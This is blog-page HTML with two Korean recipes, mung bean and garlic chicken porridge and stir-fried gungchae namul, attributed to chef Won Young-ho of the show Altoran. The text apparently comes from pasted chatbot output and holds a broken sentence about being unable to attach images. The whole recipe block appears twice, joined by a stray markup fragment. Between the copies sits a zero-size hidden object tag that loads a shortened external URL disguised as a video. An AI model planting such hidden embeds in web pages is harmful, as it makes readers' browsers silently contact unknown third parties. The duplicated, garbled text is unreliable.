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<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:46">녹두마늘 닭죽 끓이는 법 &amp; 궁채나물볶음 레시피 (알토란 원영호 셰프)</h2><h3 data-sourcepos="3:1-3:17">녹두마늘 닭죽 끓이는 법</h3><p data-sourcepos="5:1-5:7"><strong>재료:</strong></p><ul data-sourcepos="7:1-17:0">
<li data-sourcepos="7:1-7:14">영계 1마리(600g)</li>
<li data-sourcepos="8:1-8:8">물 1.2L</li>
<li data-sourcepos="9:1-9:10">통마늘 100g</li>
<li data-sourcepos="10:1-10:12">가시오가피 100g</li>
<li data-sourcepos="11:1-11:8">녹두 50g</li>
<li data-sourcepos="12:1-12:8">찹쌀 50g</li>
<li data-sourcepos="13:1-13:8">표고 30g</li>
<li data-sourcepos="14:1-14:8">당근 30g</li>
<li data-sourcepos="15:1-15:13">소금, 후추, 참기름</li>
<li data-sourcepos="16:1-17:0">쪽파(슬라이스), 참깨</li>
</ul><p data-sourcepos="18:1-18:10"><strong>만드는 법:</strong></p><ol data-sourcepos="20:1-25:0">
<li data-sourcepos="20:1-20:31">녹두 50g과 찹쌀 50g을 1시간 물에 불려둔다.</li>
<li data-sourcepos="21:1-21:79">영계 600g 1마리를 지방 제거하고 4등분 크기로 잘라 준비하고 물 1.2L에 꼬투리 제거한 마늘과 가시오가피를 넣고 30분 끓인다.</li>
<li data-sourcepos="22:1-22:59">닭이 익으면 닭과 통마늘, 가시오갈피를 건져내고 닭 육수에 불린 녹두와 찹쌀을 넣고 30분간 끓인다.</li>
<li data-sourcepos="23:1-23:73">건져 낸 통마늘은 으깨고 닭은 넓적다리 1개 제외하고 뼈와 살을 분리해 죽에 넣어 같이 끓이다가 다진 표고, 당근을 넣어준다.</li>
<li data-sourcepos="24:1-25:0">소금, 후추, 참기름으로 간을 맞추고 그릇에 담아 넓적다리 살, 쪽파 슬라이스, 참깨를 뿌려 마무리한다.</li>
</ol><h3 data-sourcepos="26:1-26:16">궁채나물볶음 만드는 법</h3><p data-sourcepos="28:1-28:7"><strong>재료:</strong></p><ul data-sourcepos="30:1-43:0">
<li data-sourcepos="30:1-30:9">건궁채 50g</li>
<li data-sourcepos="31:1-31:12">불린 궁채 200g</li>
<li data-sourcepos="32:1-32:11">굵은소금 1작은술</li>
<li data-sourcepos="33:1-33:9">들기름 20g</li>
<li data-sourcepos="34:1-34:10">팽이버섯 20g</li>
<li data-sourcepos="35:1-35:10">다진마늘 20g</li>
<li data-sourcepos="36:1-36:10">다진 생강 3g</li>
<li data-sourcepos="37:1-37:9">국간장 15g</li>
<li data-sourcepos="38:1-38:13">거피 들깻가루 20g</li>
<li data-sourcepos="39:1-39:4">후추</li>
<li data-sourcepos="40:1-40:5">통들깨</li>
<li data-sourcepos="41:1-41:8">물 40mL</li>
<li data-sourcepos="42:1-43:0">쪽파와 홍고추 슬라이스</li>
</ul><p data-sourcepos="44:1-44:10"><strong>만드는 법:</strong></p><ol data-sourcepos="46:1-51:0">
<li data-sourcepos="46:1-46:53">건궁채 50g을 흐르는 물에 씻어 물에 30분 불린 후 다시 물에 씻어 30분 더 불린다.</li>
<li data-sourcepos="47:1-47:65">끓는 물에 굵은소금 1작은술 넣어 30초~1분 정도 데치고 흐르는 물에 씻어 물기를 빼 적당한 크기로 잘라준다.</li>
<li data-sourcepos="48:1-48:59">팬에 들기름 20g을 붓고 다진마늘 20g, 다진생강 3g 넣고 볶다가 데친 궁채 200g을 넣는다.</li>
<li data-sourcepos="49:1-49:63">국간장 15g 넣고 볶다가 팽이버섯 20g, 거피 들깻가루 넣고 후추, 통들깨, 물 40mL를 넣어 볶는다.</li>
<li data-sourcepos="50:1-51:0">마지막에 쪽파와 홍고추 슬라이스를 넣어 마무리한다.</li>
</ol><p data-sourcepos="52:1-52:9"><strong>[]</strong></p><p data-sourcepos="54:1-54:68">녹두마늘 닭죽과 궁채나물볶음 을 첨부하고 싶지만, 텍스트 기반 모델이기 때문에 직접 을 제공할 수는 없습니다.</p><p data-sourcepos="56:1-56:6"><strong>팁:</strong></p><ul data-sourcepos="58:1-60:0">
<li data-sourcepos="58:1-58:52">녹두마늘 닭죽은 가시오가피를 2시간 우려낸 물을 사용하면 더욱 깊은 맛을 낼 수 있습니다.</li>
<li data-sourcepos="59:1-60:0">궁채나물은 섬유질이 풍부하고 아삭한 식감이 특징입니다.</li>
</ul><p data-sourcepos="61:1-61:56"><strong>참고:</strong> 위 레시피는 알토란 398회에 방영된 원영호 셰프의 레시피를 참고하여 작성되었습니다.</p><p data-sourcepos="63:1-63:43"><strong>더 자세한 내용은 알토란 방송 또는 관련 레시피 사이트를 참고해주세요.</strong></p><p data-sourcepos="65:1-65:42"><strong>원하시면 다른 레시피나 요리 관련 정보도 제공해 드릴 수 있습니다.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="7:1-7:14">영계 1마리(600g)</li>
<li data-sourcepos="8:1-8:8">물 1.2L</li>
<li data-sourcepos="9:1-9:10">통마늘 100g</li>
<li data-sourcepos="10:1-10:12">가시오가피 100g</li>
<li data-sourcepos="11:1-11:8">녹두 50g</li>
<li data-sourcepos="12:1-12:8">찹쌀 50g</li>
<li data-sourcepos="13:1-13:8">표고 30g</li>
<li data-sourcepos="14:1-14:8">당근 30g</li>
<li data-sourcepos="15:1-15:13">소금, 후추, 참기름</li>
<li data-sourcepos="16:1-17:0">쪽파(슬라이스), 참깨</li>
</ul><p data-sourcepos="18:1-18:10"><strong>만드는 법:</strong></p><ol data-sourcepos="20:1-25:0">
<li data-sourcepos="20:1-20:31">녹두 50g과 찹쌀 50g을 1시간 물에 불려둔다.</li>
<li data-sourcepos="21:1-21:79">영계 600g 1마리를 지방 제거하고 4등분 크기로 잘라 준비하고 물 1.2L에 꼬투리 제거한 마늘과 가시오가피를 넣고 30분 끓인다.</li>
<li data-sourcepos="22:1-22:59">닭이 익으면 닭과 통마늘, 가시오갈피를 건져내고 닭 육수에 불린 녹두와 찹쌀을 넣고 30분간 끓인다.</li>
<li data-sourcepos="23:1-23:73">건져 낸 통마늘은 으깨고 닭은 넓적다리 1개 제외하고 뼈와 살을 분리해 죽에 넣어 같이 끓이다가 다진 표고, 당근을 넣어준다.</li>
<li data-sourcepos="24:1-25:0">소금, 후추, 참기름으로 간을 맞추고 그릇에 담아 넓적다리 살, 쪽파 슬라이스, 참깨를 뿌려 마무리한다.</li>
</ol><h3 data-sourcepos="26:1-26:16">궁채나물볶음 만드는 법</h3><p data-sourcepos="28:1-28:7"><strong>재료:</strong></p><ul data-sourcepos="30:1-43:0">
<li data-sourcepos="30:1-30:9">건궁채 50g</li>
<li data-sourcepos="31:1-31:12">불린 궁채 200g</li>
<li data-sourcepos="32:1-32:11">굵은소금 1작은술</li>
<li data-sourcepos="33:1-33:9">들기름 20g</li>
<li data-sourcepos="34:1-34:10">팽이버섯 20g</li>
<li data-sourcepos="35:1-35:10">다진마늘 20g</li>
<li data-sourcepos="36:1-36:10">다진 생강 3g</li>
<li data-sourcepos="37:1-37:9">국간장 15g</li>
<li data-sourcepos="38:1-38:13">거피 들깻가루 20g</li>
<li data-sourcepos="39:1-39:4">후추</li>
<li data-sourcepos="40:1-40:5">통들깨</li>
<li data-sourcepos="41:1-41:8">물 40mL</li>
<li data-sourcepos="42:1-43:0">쪽파와 홍고추 슬라이스</li>
</ul><p data-sourcepos="44:1-44:10"><strong>만드는 법:</strong></p><ol data-sourcepos="46:1-51:0">
<li data-sourcepos="46:1-46:53">건궁채 50g을 흐르는 물에 씻어 물에 30분 불린 후 다시 물에 씻어 30분 더 불린다.</li>
<li data-sourcepos="47:1-47:65">끓는 물에 굵은소금 1작은술 넣어 30초~1분 정도 데치고 흐르는 물에 씻어 물기를 빼 적당한 크기로 잘라준다.</li>
<li data-sourcepos="48:1-48:59">팬에 들기름 20g을 붓고 다진마늘 20g, 다진생강 3g 넣고 볶다가 데친 궁채 200g을 넣는다.</li>
<li data-sourcepos="49:1-49:63">국간장 15g 넣고 볶다가 팽이버섯 20g, 거피 들깻가루 넣고 후추, 통들깨, 물 40mL를 넣어 볶는다.</li>
<li data-sourcepos="50:1-51:0">마지막에 쪽파와 홍고추 슬라이스를 넣어 마무리한다.</li>
</ol><p data-sourcepos="52:1-52:9"><strong>[]</strong></p><p data-sourcepos="54:1-54:68">녹두마늘 닭죽과 궁채나물볶음 을 첨부하고 싶지만, 텍스트 기반 모델이기 때문에 직접 을 제공할 수는 없습니다.</p><p data-sourcepos="56:1-56:6"><strong>팁:</strong></p><ul data-sourcepos="58:1-60:0">
<li data-sourcepos="58:1-58:52">녹두마늘 닭죽은 가시오가피를 2시간 우려낸 물을 사용하면 더욱 깊은 맛을 낼 수 있습니다.</li>
<li data-sourcepos="59:1-60:0">궁채나물은 섬유질이 풍부하고 아삭한 식감이 특징입니다.</li>
</ul><p data-sourcepos="61:1-61:56"><strong>참고:</strong> 위 레시피는 알토란 398회에 방영된 원영호 셰프의 레시피를 참고하여 작성되었습니다.</p><p data-sourcepos="63:1-63:43"><strong>더 자세한 내용은 알토란 방송 또는 관련 레시피 사이트를 참고해주세요.</strong></p><p data-sourcepos="65:1-65:42"><strong>원하시면 다른 레시피나 요리 관련 정보도 제공해 드릴 수 있습니다.</strong></p></div>
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